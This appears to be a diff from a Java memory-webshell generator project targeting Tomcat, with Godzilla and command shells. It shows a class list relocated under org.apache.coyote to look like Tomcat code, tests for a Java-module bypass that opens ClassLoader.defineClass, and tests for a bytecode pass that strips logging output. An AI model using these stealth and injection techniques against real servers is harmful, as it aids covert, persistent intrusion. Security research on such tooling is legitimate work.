org.apache.coyote.deser.BeanDeserializerModifier
|
||||
org.apache.coyote.deser.BuilderBasedDeserializer
|
||||
org.apache.coyote.deser.ContextualDeserializer
|
||||
org.apache.coyote.deser.ContextualKeyDeserializer
|
||||
org.apache.coyote.deser.CreatorProperty
|
||||
org.apache.coyote.deser.DataFormatReaders
|
||||
org.apache.coyote.deser.DefaultDeserializationContext
|
||||
org.apache.coyote.deser.DeserializationProblemHandler
|
||||
org.apache.coyote.deser.DeserializerCache
|
||||
org.apache.coyote.deser.DeserializerFactory
|
||||
org.apache.coyote.deser.Deserializers
|
||||
org.apache.coyote.deser.KeyDeserializers
|
||||
org.apache.coyote.deser.NullValueProvider
|
||||
org.apache.coyote.deser.ResolvableDeserializer
|
||||
org.apache.coyote.deser.SettableAnyProperty
|
||||
org.apache.coyote.deser.SettableBeanProperty
|
||||
org.apache.coyote.deser.UnresolvedForwardReference
|
||||
org.apache.coyote.deser.UnresolvedId
|
||||
org.apache.coyote.deser.ValueInstantiator
|
||||
org.apache.coyote.deser.ValueInstantiators
|
||||
org.apache.coyote.deser.impl.BeanAsArrayBuilderDeserializer
|
||||
org.apache.coyote.deser.impl.BeanAsArrayDeserializer
|
||||
org.apache.coyote.deser.impl.BeanPropertyMap
|
||||
org.apache.coyote.deser.impl.CreatorCandidate
|
||||
org.apache.coyote.deser.impl.CreatorCollector
|
||||
org.apache.coyote.deser.impl.ErrorThrowingDeserializer
|
||||
org.apache.coyote.deser.impl.ExternalTypeHandler
|
||||
org.apache.coyote.deser.impl.FailingDeserializer
|
||||
org.apache.coyote.deser.impl.FieldProperty
|
||||
org.apache.coyote.deser.impl.InnerClassProperty
|
||||
org.apache.coyote.deser.impl.JDKValueInstantiators
|
||||
org.apache.coyote.deser.impl.JavaUtilCollectionsDeserializers
|
||||
org.apache.coyote.deser.impl.ManagedReferenceProperty
|
||||
org.apache.coyote.deser.impl.MergingSettableBeanProperty
|
||||
org.apache.coyote.deser.impl.MethodProperty
|
||||
org.apache.coyote.deser.impl.NullsAsEmptyProvider
|
||||
org.apache.coyote.deser.impl.NullsConstantProvider
|
||||
org.apache.coyote.deser.impl.NullsFailProvider
|
||||
org.apache.coyote.deser.impl.ObjectIdReader
|
||||
org.apache.coyote.deser.impl.ObjectIdReferenceProperty
|
||||
org.apache.coyote.deser.impl.ObjectIdValueProperty
|
||||
org.apache.coyote.deser.impl.PropertyBasedCreator
|
||||
org.apache.coyote.deser.impl.PropertyBasedObjectIdGenerator
|
||||
org.apache.coyote.deser.impl.PropertyValue
|
||||
org.apache.coyote.deser.impl.PropertyValueBuffer
|
||||
org.apache.coyote.deser.impl.ReadableObjectId
|
||||
org.apache.coyote.deser.impl.SetterlessProperty
|
||||
org.apache.coyote.deser.impl.TypeWrappedDeserializer
|
||||
org.apache.coyote.deser.impl.UnwrappedPropertyHandler
|
||||
org.apache.coyote.deser.impl.ValueInjector
|
||||
org.apache.coyote.deser.std.ArrayBlockingQueueDeserializer
|
||||
org.apache.coyote.deser.std.AtomicBooleanDeserializer
|
||||
org.apache.coyote.deser.std.AtomicReferenceDeserializer
|
||||
org.apache.coyote.deser.std.BaseNodeDeserializer
|
||||
org.apache.coyote.deser.std.ByteBufferDeserializer
|
||||
org.apache.coyote.deser.std.CollectionDeserializer
|
||||
org.apache.coyote.deser.std.ContainerDeserializerBase
|
||||
org.apache.coyote.deser.std.DateDeserializers
|
||||
org.apache.coyote.deser.std.DelegatingDeserializer
|
||||
org.apache.coyote.deser.std.EnumDeserializer
|
||||
org.apache.coyote.deser.std.EnumMapDeserializer
|
||||
org.apache.coyote.deser.std.EnumSetDeserializer
|
||||
org.apache.coyote.deser.std.FactoryBasedEnumDeserializer
|
||||
org.apache.coyote.deser.std.FromStringDeserializer
|
||||
org.apache.coyote.deser.std.JdkDeserializers
|
||||
org.apache.coyote.deser.std.JsonLocationInstantiator
|
||||
org.apache.coyote.deser.std.JsonNodeDeserializer
|
||||
org.apache.coyote.deser.std.MapDeserializer
|
||||
org.apache.coyote.deser.std.MapEntryDeserializer
|
||||
org.apache.coyote.deser.std.NullifyingDeserializer
|
||||
org.apache.coyote.deser.std.NumberDeserializers
|
||||
org.apache.coyote.deser.std.ObjectArrayDeserializer
|
||||
org.apache.coyote.deser.std.PrimitiveArrayDeserializers
|
||||
org.apache.coyote.deser.std.ReferenceTypeDeserializer
|
||||
org.apache.coyote.deser.std.StackTraceElementDeserializer
|
||||
org.apache.coyote.deser.std.StdDelegatingDeserializer
|
||||
org.apache.coyote.deser.std.StdDeserializer
|
||||
org.apache.coyote.deser.std.StdKeyDeserializer
|
||||
org.apache.coyote.deser.std.StdKeyDeserializers
|
||||
org.apache.coyote.deser.std.StdNodeBasedDeserializer
|
||||
org.apache.coyote.deser.std.StdScalarDeserializer
|
||||
org.apache.coyote.deser.std.StdValueInstantiator
|
||||
org.apache.coyote.deser.std.StringArrayDeserializer
|
||||
org.apache.coyote.deser.std.StringCollectionDeserializer
|
||||
org.apache.coyote.deser.std.StringDeserializer
|
||||
org.apache.coyote.deser.std.ThrowableDeserializer
|
||||
org.apache.coyote.deser.std.TokenBufferDeserializer
|
||||
org.apache.coyote.deser.std.UUIDDeserializer
|
||||
org.apache.coyote.deser.std.UntypedObjectDeserializer
|
||||
org.apache.coyote.exc.IgnoredPropertyException
|
||||
org.apache.coyote.exc.InvalidDefinitionException
|
||||
org.apache.coyote.exc.InvalidFormatException
|
||||
org.apache.coyote.exc.InvalidNullException
|
||||
org.apache.coyote.exc.InvalidTypeIdException
|
||||
org.apache.coyote.exc.MismatchedInputException
|
||||
org.apache.coyote.exc.PropertyBindingException
|
||||
org.apache.coyote.exc.UnrecognizedPropertyException
|
||||
org.apache.coyote.exc.ValueInstantiationException
|
||||
org.apache.coyote.ext.CoreXMLDeserializers
|
||||
org.apache.coyote.ext.CoreXMLSerializers
|
||||
org.apache.coyote.ext.DOMDeserializer
|
||||
org.apache.coyote.ext.DOMSerializer
|
||||
org.apache.coyote.ext.Java7Handlers
|
||||
org.apache.coyote.ext.Java7HandlersImpl
|
||||
org.apache.coyote.ext.Java7Support
|
||||
org.apache.coyote.ext.Java7SupportImpl
|
||||
org.apache.coyote.ext.NioPathDeserializer
|
||||
org.apache.coyote.ext.NioPathSerializer
|
||||
org.apache.coyote.ext.OptionalHandlerFactory
|
||||
org.apache.coyote.introspect.Annotated
|
||||
org.apache.coyote.introspect.AnnotatedClass
|
||||
org.apache.coyote.introspect.AnnotatedClassResolver
|
||||
org.apache.coyote.introspect.AnnotatedConstructor
|
||||
org.apache.coyote.introspect.AnnotatedCreatorCollector
|
||||
org.apache.coyote.introspect.AnnotatedField
|
||||
org.apache.coyote.introspect.AnnotatedFieldCollector
|
||||
org.apache.coyote.introspect.AnnotatedMember
|
||||
org.apache.coyote.introspect.AnnotatedMethod
|
||||
org.apache.coyote.introspect.AnnotatedMethodCollector
|
||||
org.apache.coyote.introspect.AnnotatedMethodMap
|
||||
org.apache.coyote.introspect.AnnotatedParameter
|
||||
org.apache.coyote.introspect.AnnotatedWithParams
|
||||
org.apache.coyote.introspect.AnnotationCollector
|
||||
org.apache.coyote.introspect.AnnotationIntrospectorPair
|
||||
org.apache.coyote.introspect.AnnotationMap
|
||||
org.apache.coyote.introspect.BasicBeanDescription
|
||||
org.apache.coyote.introspect.BasicClassIntrospector
|
||||
org.apache.coyote.introspect.BeanPropertyDefinition
|
||||
org.apache.coyote.introspect.ClassIntrospector
|
||||
org.apache.coyote.introspect.CollectorBase
|
||||
org.apache.coyote.introspect.ConcreteBeanPropertyBase
|
||||
org.apache.coyote.introspect.JacksonAnnotationIntrospector
|
||||
org.apache.coyote.introspect.MemberKey
|
||||
org.apache.coyote.introspect.NopAnnotationIntrospector
|
||||
org.apache.coyote.introspect.ObjectIdInfo
|
||||
org.apache.coyote.introspect.POJOPropertiesCollector
|
||||
org.apache.coyote.introspect.POJOPropertyBuilder
|
||||
org.apache.coyote.introspect.SimpleMixInResolver
|
||||
org.apache.coyote.introspect.TypeResolutionContext
|
||||
org.apache.coyote.introspect.VirtualAnnotatedMember
|
||||
org.apache.coyote.introspect.VisibilityChecker
|
||||
org.apache.coyote.introspect.WithMember
|
||||
org.apache.coyote.json.JsonMapper
|
||||
org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonArrayFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonBooleanFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonFormatTypes
|
||||
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitable
|
||||
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWithSerializerProvider
|
||||
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWrapper
|
||||
org.apache.coyote.jsonFormatVisitors.JsonIntegerFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonMapFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonNullFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonNumberFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonObjectFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonStringFormatVisitor
|
||||
org.apache.coyote.jsonFormatVisitors.JsonValueFormat
|
||||
org.apache.coyote.jsonFormatVisitors.JsonValueFormatVisitor
|
||||
org.apache.coyote.jsonschema.JsonSchema
|
||||
org.apache.coyote.jsonschema.JsonSerializableSchema
|
||||
org.apache.coyote.jsonschema.SchemaAware
|
||||
org.apache.coyote.jsontype.BasicPolymorphicTypeValidator
|
||||
org.apache.coyote.jsontype.NamedType
|
||||
org.apache.coyote.jsontype.PolymorphicTypeValidator
|
||||
org.apache.coyote.jsontype.SubtypeResolver
|
||||
org.apache.coyote.jsontype.TypeDeserializer
|
||||
org.apache.coyote.jsontype.TypeIdResolver
|
||||
org.apache.coyote.jsontype.TypeResolverBuilder
|
||||
org.apache.coyote.jsontype.TypeSerializer
|
||||
org.apache.coyote.jsontype.impl.AsArrayTypeDeserializer
|
||||
org.apache.coyote.jsontype.impl.AsArrayTypeSerializer
|
||||
org.apache.coyote.jsontype.impl.AsExistingPropertyTypeSerializer
|
||||
org.apache.coyote.jsontype.impl.AsExternalTypeDeserializer
|
||||
org.apache.coyote.jsontype.impl.AsExternalTypeSerializer
|
||||
org.apache.coyote.jsontype.impl.AsPropertyTypeDeserializer
|
||||
org.apache.coyote.jsontype.impl.AsPropertyTypeSerializer
|
||||
org.apache.coyote.jsontype.impl.AsWrapperTypeDeserializer
|
||||
org.apache.coyote.jsontype.impl.AsWrapperTypeSerializer
|
||||
org.apache.coyote.jsontype.impl.ClassNameIdResolver
|
||||
org.apache.coyote.jsontype.impl.LaissezFaireSubTypeValidator
|
||||
org.apache.coyote.jsontype.impl.MinimalClassNameIdResolver
|
||||
org.apache.coyote.jsontype.impl.StdSubtypeResolver
|
||||
org.apache.coyote.jsontype.impl.StdTypeResolverBuilder
|
||||
org.apache.coyote.jsontype.impl.SubTypeValidator
|
||||
org.apache.coyote.jsontype.impl.TypeDeserializerBase
|
||||
org.apache.coyote.jsontype.impl.TypeIdResolverBase
|
||||
org.apache.coyote.jsontype.impl.TypeNameIdResolver
|
||||
org.apache.coyote.jsontype.impl.TypeSerializerBase
|
||||
org.apache.coyote.module.SimpleAbstractTypeResolver
|
||||
org.apache.coyote.module.SimpleDeserializers
|
||||
org.apache.coyote.module.SimpleKeyDeserializers
|
||||
org.apache.coyote.module.SimpleModule
|
||||
org.apache.coyote.module.SimpleSerializers
|
||||
org.apache.coyote.module.SimpleValueInstantiators
|
||||
org.apache.coyote.node.ArrayNode
|
||||
org.apache.coyote.node.BaseJsonNode
|
||||
org.apache.coyote.node.BigIntegerNode
|
||||
org.apache.coyote.node.BinaryNode
|
||||
org.apache.coyote.node.BooleanNode
|
||||
org.apache.coyote.node.ContainerNode
|
||||
org.apache.coyote.node.DecimalNode
|
||||
org.apache.coyote.node.DoubleNode
|
||||
org.apache.coyote.node.FloatNode
|
||||
org.apache.coyote.node.IntNode
|
||||
org.apache.coyote.node.InternalNodeMapper
|
||||
org.apache.coyote.node.JsonNodeCreator
|
||||
org.apache.coyote.node.JsonNodeFactory
|
||||
org.apache.coyote.node.JsonNodeType
|
||||
org.apache.coyote.node.LongNode
|
||||
org.apache.coyote.node.MissingNode
|
||||
org.apache.coyote.node.NodeCursor
|
||||
org.apache.coyote.node.NodeSerialization
|
||||
org.apache.coyote.node.NullNode
|
||||
org.apache.coyote.node.NumericNode
|
||||
org.apache.coyote.node.ObjectNode
|
||||
org.apache.coyote.node.POJONode
|
||||
org.apache.coyote.node.ShortNode
|
||||
org.apache.coyote.node.TextNode
|
||||
org.apache.coyote.node.TreeTraversingParser
|
||||
org.apache.coyote.node.ValueNode
|
||||
org.apache.coyote.ser.AnyGetterWriter
|
||||
org.apache.coyote.ser.BasicSerializerFactory
|
||||
org.apache.coyote.ser.BeanPropertyFilter
|
||||
org.apache.coyote.ser.BeanPropertyWriter
|
||||
org.apache.coyote.ser.BeanSerializer
|
||||
org.apache.coyote.ser.BeanSerializerBuilder
|
||||
org.apache.coyote.ser.BeanSerializerFactory
|
||||
org.apache.coyote.ser.BeanSerializerModifier
|
||||
org.apache.coyote.ser.ContainerSerializer
|
||||
org.apache.coyote.ser.ContextualSerializer
|
||||
org.apache.coyote.ser.DefaultSerializerProvider
|
||||
org.apache.coyote.ser.FilterProvider
|
||||
org.apache.coyote.ser.PropertyBuilder
|
||||
org.apache.coyote.ser.PropertyFilter
|
||||
org.apache.coyote.ser.PropertyWriter
|
||||
org.apache.coyote.ser.ResolvableSerializer
|
||||
org.apache.coyote.ser.SerializerCache
|
||||
org.apache.coyote.ser.SerializerFactory
|
||||
org.apache.coyote.ser.Serializers
|
||||
org.apache.coyote.ser.VirtualBeanPropertyWriter
|
||||
org.apache.coyote.ser.impl.AttributePropertyWriter
|
||||
org.apache.coyote.ser.impl.BeanAsArraySerializer
|
||||
org.apache.coyote.ser.impl.FailingSerializer
|
||||
org.apache.coyote.ser.impl.FilteredBeanPropertyWriter
|
||||
org.apache.coyote.ser.impl.IndexedListSerializer
|
||||
org.apache.coyote.ser.impl.IndexedStringListSerializer
|
||||
org.apache.coyote.ser.impl.IteratorSerializer
|
||||
org.apache.coyote.ser.impl.MapEntrySerializer
|
||||
org.apache.coyote.ser.impl.ObjectIdWriter
|
||||
org.apache.coyote.ser.impl.PropertyBasedObjectIdGenerator
|
||||
org.apache.coyote.ser.impl.PropertySerializerMap
|
||||
org.apache.coyote.ser.impl.ReadOnlyClassToSerializerMap
|
||||
org.apache.coyote.ser.impl.SimpleBeanPropertyFilter
|
||||
org.apache.coyote.ser.impl.SimpleFilterProvider
|
||||
org.apache.coyote.ser.impl.StringArraySerializer
|
||||
org.apache.coyote.ser.impl.StringCollectionSerializer
|
||||
org.apache.coyote.ser.impl.TypeWrappedSerializer
|
||||
org.apache.coyote.ser.impl.UnknownSerializer
|
||||
org.apache.coyote.ser.impl.UnwrappingBeanPropertyWriter
|
||||
org.apache.coyote.ser.impl.UnwrappingBeanSerializer
|
||||
org.apache.coyote.ser.impl.WritableObjectId
|
||||
org.apache.coyote.ser.std.ArraySerializerBase
|
||||
org.apache.coyote.ser.std.AsArraySerializerBase
|
||||
org.apache.coyote.ser.std.AtomicReferenceSerializer
|
||||
org.apache.coyote.ser.std.BeanSerializerBase
|
||||
org.apache.coyote.ser.std.BooleanSerializer
|
||||
org.apache.coyote.ser.std.ByteArraySerializer
|
||||
org.apache.coyote.ser.std.ByteBufferSerializer
|
||||
org.apache.coyote.ser.std.CalendarSerializer
|
||||
org.apache.coyote.ser.std.ClassSerializer
|
||||
org.apache.coyote.ser.std.CollectionSerializer
|
||||
org.apache.coyote.ser.std.DateSerializer
|
||||
org.apache.coyote.ser.std.DateTimeSerializerBase
|
||||
org.apache.coyote.ser.std.EnumSerializer
|
||||
org.apache.coyote.ser.std.EnumSetSerializer
|
||||
org.apache.coyote.ser.std.FileSerializer
|
||||
org.apache.coyote.ser.std.InetAddressSerializer
|
||||
org.apache.coyote.ser.std.InetSocketAddressSerializer
|
||||
org.apache.coyote.ser.std.IterableSerializer
|
||||
org.apache.coyote.ser.std.JsonValueSerializer
|
||||
org.apache.coyote.ser.std.MapProperty
|
||||
org.apache.coyote.ser.std.MapSerializer
|
||||
org.apache.coyote.ser.std.NonTypedScalarSerializerBase
|
||||
org.apache.coyote.ser.std.NullSerializer
|
||||
org.apache.coyote.ser.std.NumberSerializer
|
||||
org.apache.coyote.ser.std.NumberSerializers
|
||||
org.apache.coyote.ser.std.ObjectArraySerializer
|
||||
org.apache.coyote.ser.std.RawSerializer
|
||||
org.apache.coyote.ser.std.ReferenceTypeSerializer
|
||||
org.apache.coyote.ser.std.SerializableSerializer
|
||||
org.apache.coyote.ser.std.SqlDateSerializer
|
||||
org.apache.coyote.ser.std.SqlTimeSerializer
|
||||
org.apache.coyote.ser.std.StaticListSerializerBase
|
||||
org.apache.coyote.ser.std.StdArraySerializers
|
||||
org.apache.coyote.ser.std.StdDelegatingSerializer
|
||||
org.apache.coyote.ser.std.StdJdkSerializers
|
||||
org.apache.coyote.ser.std.StdKeySerializer
|
||||
org.apache.coyote.ser.std.StdKeySerializers
|
||||
org.apache.coyote.ser.std.StdScalarSerializer
|
||||
org.apache.coyote.ser.std.StdSerializer
|
||||
org.apache.coyote.ser.std.StringSerializer
|
||||
org.apache.coyote.ser.std.TimeZoneSerializer
|
||||
org.apache.coyote.ser.std.ToStringSerializer
|
||||
org.apache.coyote.ser.std.ToStringSerializerBase
|
||||
org.apache.coyote.ser.std.TokenBufferSerializer
|
||||
org.apache.coyote.ser.std.UUIDSerializer
|
||||
org.apache.coyote.type.ArrayType
|
||||
org.apache.coyote.type.ClassKey
|
||||
org.apache.coyote.type.ClassStack
|
||||
org.apache.coyote.type.CollectionLikeType
|
||||
org.apache.coyote.type.CollectionType
|
||||
org.apache.coyote.type.MapLikeType
|
||||
org.apache.coyote.type.MapType
|
||||
org.apache.coyote.type.PlaceholderForType
|
||||
org.apache.coyote.type.ReferenceType
|
||||
org.apache.coyote.type.ResolvedRecursiveType
|
||||
org.apache.coyote.type.SimpleType
|
||||
org.apache.coyote.type.TypeBase
|
||||
org.apache.coyote.type.TypeBindings
|
||||
org.apache.coyote.type.TypeFactory
|
||||
org.apache.coyote.type.TypeModifier
|
||||
org.apache.coyote.type.TypeParser
|
||||
org.apache.coyote.util.AccessPattern
|
||||
org.apache.coyote.util.Annotations
|
||||
org.apache.coyote.util.ArrayBuilders
|
||||
org.apache.coyote.util.ArrayIterator
|
||||
org.apache.coyote.util.BeanUtil
|
||||
org.apache.coyote.util.ByteBufferBackedInputStream
|
||||
org.apache.coyote.util.ByteBufferBackedOutputStream
|
||||
org.apache.coyote.util.ClassUtil
|
||||
org.apache.coyote.util.CompactStringObjectMap
|
||||
org.apache.coyote.util.Converter
|
||||
org.apache.coyote.util.EnumResolver
|
||||
org.apache.coyote.util.EnumValues
|
||||
org.apache.coyote.util.ISO8601DateFormat
|
||||
org.apache.coyote.util.ISO8601Utils
|
||||
org.apache.coyote.util.JSONPObject
|
||||
org.apache.coyote.util.JSONWrappedObject
|
||||
org.apache.coyote.util.LRUMap
|
||||
org.apache.coyote.util.LinkedNode
|
||||
org.apache.coyote.util.NameTransformer
|
||||
org.apache.coyote.util.Named
|
||||
org.apache.coyote.util.ObjectBuffer
|
||||
org.apache.coyote.util.PrimitiveArrayBuilder
|
||||
org.apache.coyote.util.RawValue
|
||||
org.apache.coyote.util.RootNameLookup
|
||||
org.apache.coyote.util.SimpleBeanPropertyDefinition
|
||||
org.apache.coyote.util.StdConverter
|
||||
org.apache.coyote.util.StdDateFormat
|
||||
org.apache.coyote.util.TokenBuffer
|
||||
org.apache.coyote.util.TokenBufferReadContext
|
||||
org.apache.coyote.util.TypeKey
|
||||
org.apache.coyote.util.ViewMatcher
|
||||
-33
@@ -1,33 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.condition.EnabledOnJre;
|
||||
|
||||
import java.lang.reflect.InaccessibleObjectException;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.condition.JRE.JAVA_17;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
class ByPassJavaModuleInterceptorTest {
|
||||
@Test
|
||||
@SneakyThrows
|
||||
@EnabledOnJre(JAVA_17)
|
||||
void testByPassModule() {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
assertThrows(InaccessibleObjectException.class, () -> {
|
||||
defineClass.setAccessible(true);
|
||||
});
|
||||
ByPassJavaModuleInterceptor.enter(this.getClass());
|
||||
assertDoesNotThrow(() -> {
|
||||
defineClass.setAccessible(true);
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.method.MethodDescription;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.mockito.Mockito.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/4
|
||||
*/
|
||||
@Slf4j
|
||||
class LogRemoveVisitorWrapperTest {
|
||||
|
||||
@Test
|
||||
void testExtend() {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().subclass(Object.class);
|
||||
DynamicType.Builder<?> extendedBuilder = LogRemoveMethodVisitor.extend(builder);
|
||||
assertNotNull(extendedBuilder);
|
||||
assertNotEquals(builder, extendedBuilder);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testWrap() {
|
||||
LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE;
|
||||
TypeDescription instrumentedType = mock(TypeDescription.class);
|
||||
MethodDescription instrumentedMethod = mock(MethodDescription.class);
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
Implementation.Context implementationContext = mock(Implementation.Context.class);
|
||||
TypePool typePool = mock(TypePool.class);
|
||||
|
||||
MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor,
|
||||
implementationContext, typePool, 0, 0);
|
||||
|
||||
assertNotNull(wrappedVisitor);
|
||||
assertNotEquals(methodVisitor, wrappedVisitor);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testVisitMethodInsn_RemoveSystemOutPrintln() {
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
||||
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
|
||||
|
||||
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testVisitMethodInsn_RemovePrintStackTrace() {
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
||||
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||
|
||||
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testVisitMethodInsn_KeepOtherMethodCalls() {
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0);
|
||||
wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
||||
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIntegration() throws Exception {
|
||||
// Use ByteBuddy to create a new class with log statements removed
|
||||
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
|
||||
.redefine(TestClass.class)
|
||||
.name("com.reajason.javaweb.buddy.TestClass1")
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
||||
.make();
|
||||
byte[] bytes = make.getBytes();
|
||||
// Files.write(Paths.get("xx.class"), bytes);
|
||||
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
||||
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
||||
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
||||
}
|
||||
|
||||
public static class TestClass {
|
||||
static Logger logger = Logger.getLogger(TestClass.class.getName());
|
||||
|
||||
public TestClass() {
|
||||
}
|
||||
|
||||
public static void methodWithLogs() {
|
||||
System.out.println("This should be removed");
|
||||
String test = "test";
|
||||
int length = test.length();
|
||||
logger.info(test);
|
||||
try {
|
||||
System.out.println("hello");
|
||||
throw new RuntimeException("hello");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
logger.warning("wa");
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
methodWithLogs();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
+2
-1
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
|
||||
+3
-3
@@ -1,12 +1,12 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
|
||||
Reference in New Issue
Block a user